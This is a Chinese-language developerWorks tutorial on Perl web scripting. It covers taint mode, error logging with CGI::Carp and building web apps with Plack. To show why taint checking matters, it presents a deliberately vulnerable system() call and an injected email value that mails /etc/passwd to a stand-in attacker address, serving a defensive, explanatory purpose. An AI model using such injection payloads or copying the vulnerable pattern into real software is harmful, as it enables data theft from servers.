让信息不受污染听上去似乎是不可能的事情,要保证脚本彻底安全,只能既不使用外部数据,也不使用来自外部连接或接口的数据(例如运行一个命令或连接到外部数据库)。对于一些简单的脚本,这是完全有可能做到的。
但对于一般的 Web 应用程序,会从一个表单或其他位置接收数据,然后在其他表单中使用这些数据,在这种情况下,使用脚本解决方案才是首选。
使用这样的数据可能造成严重后果。例如,请考虑一下 清单1 中的示例:
清单 1. 典型的脚本
#!/usr/bin/perl
use strict;
use warnings;
use CGI qw/:standard/;
my $query = new CGI();
my $email = $query->param(email);
system("mail $email") or die "Couldn't open mail"
|
假设我们能一直获得完全有效的 email 地址,那么这段脚本看上去没有任何问题。但我们使用了 system() 函数来发送 email,因此 email 地址的内容可能会影响到系统。例如,假设所提供的 email 地址是:
example@example.com;
cat /etc/passwd | mail hacker@example.com
|
现在 email 地址不仅(可能)包含有效的 email 地址,而且还通过 email 告诉其他人密码文件。system() 函数打开一个子 shell 并执行相关内容。这就是一个重大安全问题。
如果 Perl 没有提供称为污染模式的内置模式,那么追踪不同信息的来源就会变得很困难。如果 Perl 确定实际有效的用户 ID 是其他 ID,或通过在命令行或脚本开头处使用 -T 选项,那么系统会自动启用污染模式。
启用污染模式后,Perl 会检查不同数据和变量的来源与使用情况,确保使用的信息未执行带有不安全或危险操作的脚本,未包含不受信任的信息。顾名思意,这些数据被划分为受污染的 数据。
对于源自命令行参数、环境变量、本地信息和某些系统调用(包括访问共享目录、共享内存和系统数据)的所有信息,Perl 会识别受污染的数据。另外,所有从外部文件读取的数据都会受污染。
不能在调用子 shell 的命令(包括管道输入/输出和 system() 调用或 exec() 调用)或修改文件的目录的命令(如写入、删除或重命名)或进程中直接或间接使用受污染的数据。
此规则还有一个特例,print()(及其衍生物)和 syswrite() 不会触发污染错误或子方法、子引用或哈希键。
污染功能还会自动扩展,监视可疑的值,即使您未直接使用它。例如,无论何时调用 system() 或 exec(),都会检查 PATH 环境变量的值,无论是否在命令行中使用了受污染的变量,因为所执行的命令是由 PATH 决定的。检查 PATH 是为了确保路径中列出的所有目录都是绝对路径,而且所有者及其所在组以外的人无法执行写入操作。这样做可防止所运行的命令产生更大的问题。
如果启用了污染模式,Perl 会产生错误并停止执行,它还会识别出正在使用的受污染值。例如,使用不安全的 PATH 会产生以下错误:
Insecure $ENV{PATH} while running with -T switch at t.pl line 11 |
而使用不安全的变量会产生以下错误:
Insecure dependency in system while running with -T switch at t2.pl line 2 |
在典型的 Web 应用程序中,无论用来收集信息的方法是什么,用户从表单提供的数据都会受污染。源自 CGI 脚本的数据可以从标准输入或环境变量中获得(这取决与所使用的 HTTP 方法和环境),而且这两者都被划分为污染源。
为了保护脚本执行,并确保未使用不安全数据,您需要识别信息并去除污染,以便可以安全使用数据。
在 Perl 脚本中,报告错误的常用方法是使用 warn() 或 die() 函数来报告或产生错误。而对于 Carp 模块,它可以对产生的消息提供额外级别的控制,尤其是在模块内部。
另外一个模块 CGI::Carp 提供了很多与 Carp 模块一样的功能。它专门设计用于 Web 脚本中,可将错误信息写入指定的日志,而不是写入默认 Web 服务器日志中(例如,由 Apache 生成的日志),或者您可以在某种受控方式下将信息写入 Web 页面。
标准 Carp 模块提供了 warn() 和 die() 函数的替代方法,它们在提供错误定位方面提供更多信息,而且更加友好。当在模块中使用时,错误消息中包含模块名称和行号。
在 Carp 模块内部,有 4 个主要函数,carp() 是警告消息的同义词,croak() 与 die() 一样,可以结束脚本。cluck() 和 confess() 分别与 warn() 和 die() 类似,但提供了从产生错误处的栈回溯追踪。
如果同时使用 Carp 和 CGI::Carp 模块,那么标准函数,例如 warn()、die() 和 Carp 模块函数、croak()、confess() 和 carp() 将会将错误信息写入已配置好的 HTTP 服务器日志,并附带日期/时间戳和脚本来源。
使用 HTTP 服务器错误日志的一个替代方法是使用 CGI::Carp 并利用 carpout() 函数。该函数只有一个参数,即您用来写入错误信息的文件的文件句柄(通常会将该信息发送到 STDERR)。您需要显式导入 carpout() 函数。如 清单 2 中的一个示例所示。
清单 2. 使用
CGI::Carp
#!/usr/bin/perl
use strict;
use warnings;
use CGI::Carp qw/carpout/;
use IO::File;
my $logfile = IO::File->new('browser.log','w')
or die "Couldn't open logfile:$!\n";
carpout($logfile);
warn "Some error must have occurred\n";
|
日志中产生的信息是通过日期和产生输出的脚本名称进行区分的:
[Thu Sep 2 11:35:56 2010] carpout.cgi:Some error must have occurred |
所有的标准方法都假设您想要将错误信息写入日志文件中。但是您可能并不始终具有访问日志的权限,或者并不总是能够登录到浏览器来获取信息。
因此 CGI::Carp 函数提供了一个 fatalsToBrowser 选项将致命错误消息(die()、confess())重新指向浏览器和 Web 服务器日志。这样可以确保您的用户能够看到脚本所产生的错误。非致命错误(warn() 和 carp())将会按照常规继续发送至错误日志。
要使用 CGI::Carp 模块,必须在加载该模块时将它指定为一个选项,请使用 CGI::Carp qw/fatalsToBrowser/;。我们可以将它添加到文件浏览脚本中,以确保错误被正确报告和识别。
信息污染以及使用 CGI::Carp 都是低级的问题,但仍然会引起人们的重视。但是,可以通过使用一些 Web 应用程序框架(例如 Catalyst 或 Dancer)来简化 CGI 应用程序的低层次方面,比如处理查询参数和输出头部材料。Plack 可以同框架一起使用,也可以单独使用,如下所示。
Plack 是 Web 框架和 Web 服务器的 Perl 纽带。Plack 位于代码(无论是否使用框架)和 Web 服务器(例如,Apache、Starman 和 FCGI)之间。这意味着您(以及您所用的框架)无需担心 Web 服务器的设置,反之亦然。
我们现在将开始设置 Plack。我们将会使用 cpanm(来自 App::cpanminus)下载模块并将它安装到 local::lib(无需具有 root 访问权限)。如 清单 3 所示。
清单 3. 初始设置
# archive of any existing cpan configuration mv ~/.cpan ~/.cpan_original # Then one of the following: # if you can run wget wget -O - http://cpanmin.us/ | perl - local::lib App::cpanminus && echo 'eval $(perl -I$HOME/perl5/lib/perl5 -Mlocal::lib)' >> ~/.bashrc && .~/.bashrc # OR if you can run curl curl -L http://cpanmin.us/ | perl - local::lib App::cpanminus && echo 'eval $(perl -I$HOME/perl5/lib/perl5 -Mlocal::lib)' >> ~/.bashrc && .~/.bashrc # otherwise, download the contents of http://cpanmin.us to a file called cpanmin.us, make it executable and then run: ./cpanmin.us local::lib App::cpanminus && echo 'eval $(perl -I$HOME/perl5/lib/perl5 -Mlocal::lib)' >> ~/.bashrc && .~/.bashrc |
以上步骤就是快速方便地构建 Web 应用程序所需的核心 Plack 模块(参见下方 清单 4)。
清单 4. 使用 cpanminus 安装 Plack
cpanm Task::Plack # Please also run this as we will use it later cpanm Plack::Middleware::TemplateToolkit |
主目录中的 perl5 文件夹下已经包含了所需的所有模块。下一步是创建一个 .psgi 配置文件,用它返回一个 Web 页面(参见下方 清单 5)。
清单 5. 创建一个 .psgi 配置文件
# Tell Perl where our lib is (ALWAYS use this)
use lib "$ENV{HOME}/perl5/lib/perl5";
# ensure we declare everything correctly (ALWAYS use this)
use strict;
# Give us diagnostic warnings where possible (ALWAYS use this)
use warnings;
# Allow us to build our application
use Plack::Builder;
# A basic app
my $default_app = sub {
my $env = shift;
return [
200, # HTTP Status code
[ 'Content-Type' => 'text/html' ], # HTTP Headers,
["All is good"] # Content
];
};
# return the builder
return builder {
$default_app;
}
|
将配置文件保存到名为 1.psgi 的文件中,然后在命令行中使用 plackup 命令启动 Web 服务器,如下所示:plackup 1.psgi。您会看到:HTTP::Server::PSGI:Accepting connections at http://SERVER_IP:5000/。
使用 Web 浏览器转至 http://SERVER_IP:5000/。如果您是在自己的台式机上开发程序,则可以使用 http://localhost:5000/ 。您会看到页面显示 “All is good”。实际上,转到任何页面都会看到 http://localhost:5000/any_page.html,因为不管请求的是什么,都会返回此内容。
您可能会注意到,在命令行上可以看到 Web 服务器的访问日志。这是因为 Plack 默认情况下被设置为开发模式,并且打开一些额外的中间件层,其中包括 AccessLog、StackTrace 和 Lint。
如果要在运行时看到 StackTrace,那么请在清单 4 中注释掉第 27 行,只需在行首加上一个井号 (#) 即可:# ["All is good"] # Content。
重新启动 plackup 命令(输入 Ctrl+C 停止进程,然后运行 plackup 1.psgi 启动)。现在,在 Web 浏览器中再次转至 http://localhost:5000/,您将会看到错误的 StackTrace。注意页面顶部的主要错误消息 “response needs to be 3 element array, or 2 element in streaming”。然后,您可以按照追踪的每一步骤,单击每一段追踪信息下方的 Show function arguments 和 Show lexical variables 链接来帮助调试。
去掉 # 并重新启动,那么您就再次拥有了一个有效的 .psgi 文件。
plackup 命令有好几个命令行参数,运行 perldoc plackup 命令会显示相关文档。最常用的参数是 -r 或 --reload;这会让 plackup 监控 .psgi 文件(如果 psgi 文件有相应的 lib 目录,也会受到监控):plackup -r 1.psgi。
Plack 中有很多有用的应用程序,您肯定想将它们集成到您的 Web 门户中。例如,在 清单 6 中,我们使用 Plack::App::Directory 来列出目录,并将其内容用作静态文件。我们将使用 Plack::App::URLMap 来选择将应用程序加载到哪个 URL 上。
清单 6. 第二个 .psgi 配置文件
use lib "$ENV{HOME}/perl5/lib/perl5";
use strict;
use warnings;
use Plack::Builder;
# 'mount' applications on specific URLs
use Plack::App::URLMap;
# Get directory listings and serve files
use Plack::App::Directory;
my $default_app = sub {
my $env = shift;
return [ 200, [ 'Content-Type' => 'text/html' ], ["All is good"] ];
};
# Get the Directory app, configured with a root directory
my $dir_app = Plack::App::Directory->new( { root => "/tmp/" } )->to_app;
# Create a mapper object
my $mapper = Plack::App::URLMap->new();
# mount our apps on urls
$mapper->mount('/' => $default_app);
$mapper->mount('/tmp' => $dir_app);
# extract the new overall app from the mapper
my $app = $mapper->to_app();
# Return the builder
return builder {
$app;
}
|
清单 6 中的代码将 $dir_app 加载到 /tmp/ ( open http://localhost:5000/tmp/ ) 以及 $default_app 或其他任何路径 ( open http://localhost:500/anything_else.html )。
有很多的 Plack::Apps 和 Plack::Middleware 模块可以帮助我们完成常见任务。我们将看一看 Plack::Middleware::TemplateToolkit,它通过模板化引擎 Template-Toolkit (TT) 来解析文件。图像和其他静态内容不会通过 TT,因此我们会配置 Plack::Middleware::Static,通过特定的扩展名直接提供文件。在此之前,我们想在出现错误 404(文件未找到)时,会显示一个好看的页面;我们使用 Plack::Middleware::ErrorDocument 来完成这项任务。我们所需加入的代码如 清单 7 所示。
清单 7.
Plack::Middleware::TemplateToolkit 模块
# A link to your htdocs root folder
my $root = '/path/to/htdocs/';
# Create a new template toolkit application (which we will default to)
my $default_app = Plack::Middleware::TemplateToolkit->new(
INCLUDE_PATH => $root, # Required
)->to_app();
return builder {
# Page to show when requested file is missing
# this will not be processes with TT
enable "Plack::Middleware::ErrorDocument",
404 => "$root/page_not_found.html";
# These files can be served directly
enable "Plack::Middleware::Static",
path => qr{[gif|png|jpg|swf|ico|mov|mp3|pdf|js|css]$},
root => $root;
# Our application
$default_app;
}
|
到此为止,深入研究一下提供 PSGI 支持并能使用 Plack 的众多 Web 框架之一也许是值得的。这些框架提供了执行更复杂的任务的结构和支持。让我们来看一下 Catalyst、Mojolicious 或 Dancer。Perl.org Web 框架白皮书(参阅 参考资料 中链接)讨论了使用框架的诸多优势。
由于要保证从用户处接收的信息的安全,因此在 Perl Web 门户脚本中解析并使用 Web 数据变得非常复杂。一旦批准了通过 Perl 脚本访问底层文件系统,就必须确保 CGI 脚本不能访问您不想让外部人员访问的文件。
Plack 不能消除您对这些因素的担忧,但它能让构建先进的 Web 应用程序系统的过程变得轻松很多。Plack 能够解决这些问题,而且提供了一个简化的环境来构建 Web 应用程序。Plack 可以处理 Web 服务器与 Perl 应用程序之间的复杂性,简化并保护您的应用程序和服务器。
学习
-
面向 Perl 开发人员的 XML,第 1 部分:XML 加 Perl —— 简单的魔术 (Jim Dixon,developerWorks,2007 年 1 月):本系列面向想要快速获得 XML-and-Perl 解决方案的用户。在大量的案例中,您只需一个工具就可以将 XML 集成到 Perl 应用程序中,这个工具就是 XML::Simple。
-
Perl developers:Fill your XML toolbox (Parand Darugar,developerWorks,2001 年 6 月):了解使用 Perl 维护 XML 的大约 20 种必要的工具和库的概述。
- Effective XML processing with DOM and XPath in Perl(Parand Darugar,developerWorks,2001 年 10 月):看看如何有效、高效利用 DOM。
-
High-order Perl(Mark Jason Dominus,2005 年):阅读介绍如何在 Perl 中进行函数式编程以及如何编写能修改和生成其他函数的函数的书籍。
- 访问 Perl 编程语言 的主页。
- 了解关于 Perl Web 框架 的更多信息。
- AIX and UNIX 专区:developerWorks 的“AIX and UNIX 专区”提供了大量与 AIX 系统管理的所有方面相关的信息,您可以利用它们来扩展自己的 UNIX 技能。
- AIX and UNIX 新手入门:访问“AIX and UNIX 新手入门”页面可了解更多关于 AIX 和 UNIX 的内容。
- AIX and UNIX 专题汇总:AIX and UNIX 专区已经为您推出了很多的技术专题,为您总结了很多热门的知识点。我们在后面还会继续推出很多相关的热门专题给您,为了方便您的访问,我们在这里为您把本专区的所有专题进行汇总,让您更方便的找到您需要的内容。
-
AIX and UNIX 下载中心:在这里你可以下载到可以运行在 AIX 或者是 UNIX 系统上的 IBM 服务器软件以及工具,让您可以提前免费试用他们的强大功能。
- IBM Systems Magazine for AIX 中文版:本杂志的内容更加关注于趋势和企业级架构应用方面的内容,同时对于新兴的技术、产品、应用方式等也有很深入的探讨。IBM Systems Magazine 的内容都是由十分资深的业内人士撰写的,包括 IBM 的合作伙伴、IBM 的主机工程师以及高级管理人员。所以,从这些内容中,您可以了解到更高层次的应用理念,让您在选择和应用 IBM 系统时有一个更好的认识。
-
按以下主题搜索 AIX and UNIX 库:
-
Safari 书店:访问电子图书馆,查找相关技术资源。
- 在 Twitter 上关注 developerWorks。
- 想要找到的教授 bash 编程的系列文章,请参阅 Bash by example, Part 1:Fundamental programming in the Bourne again shell (bash)(Daniel Robbins,developerWorks,2000 年 3 月)、Bash by example, Part 2:More bash programming fundamentals(Daniel Robbins,developerWorks,2000 年 4 月)和 Bash by example, Part 3:Exploring the ebuild system(Daniel Robbins,developerWorks,2000 年 5 月)。
- 让 UNIX 和 Linux 一起工作(Martin Brown,developerWorks,2006 年 4 月)是一本让传统的 Unix 版本和 Linux 协同工作的指南。
- 想要收听有关软甲开发人员的有趣的采访和讨论,请访问 developerWorks 播客。
-
developerWorks 技术活动和网络广播:随时关注 developerWorks 技术活动和网络广播。
获得产品和技术
- 试用 IBM 软件 。下载试用版、登录到在线试用版、在沙箱环境下使用产品或通过云访问。选择 100 多种 IBM 产品试用版。
- 下载 MySQL。
- 获取 Moonlight 插件。
- 访问 Plack Web 应用程序系统 的主页。
- 使用可以使用直接从 developerWorks 下载的 IBM 产品评估试用版软件 构建您的下一个开发项目。
讨论
- 加入 developerWorks 中文社区。查看开发人员推动的博客、论坛、组和维基,并与其他 developerWorks 用户交流。
- 参与 developerWorks 博客 并加入 developerWorks 社区。

Leo Lapworth 专注于快速开发和寻找问题的解决方案。他通常不关心内容;他关心的是如何获取以及如何为公司、客户和用户提供更好的服务。他主要研究 Perl 的开源系统 (LAMP) ,他还是 London Perl 社区的活跃成员。

Martin C. Brown,马丁.布朗,是Studio B 工作室的作者,一个早期的IT主管,在跨平台集成方面经验丰富。作为一名热心的开发工程师,他曾经为一些特殊用户制作了动态站点,包括HP和Oracle,并且现在是Foodware.net的技术主管。目前他是一名自由撰稿人和咨询顾问,马丁是比较知名的,作为SME时与微软有过工作协作,他是LinuxWorld杂志的LAMP技术编辑,AnswerSquad.com团队的核心成员,并已经撰写了大量的不同主题的书籍,如微软认证,iMacs以及开放源码编程。除了这些努力外,马丁在很多平台和众多环境中依然保持是一名普通并且喜爱编程的程序员。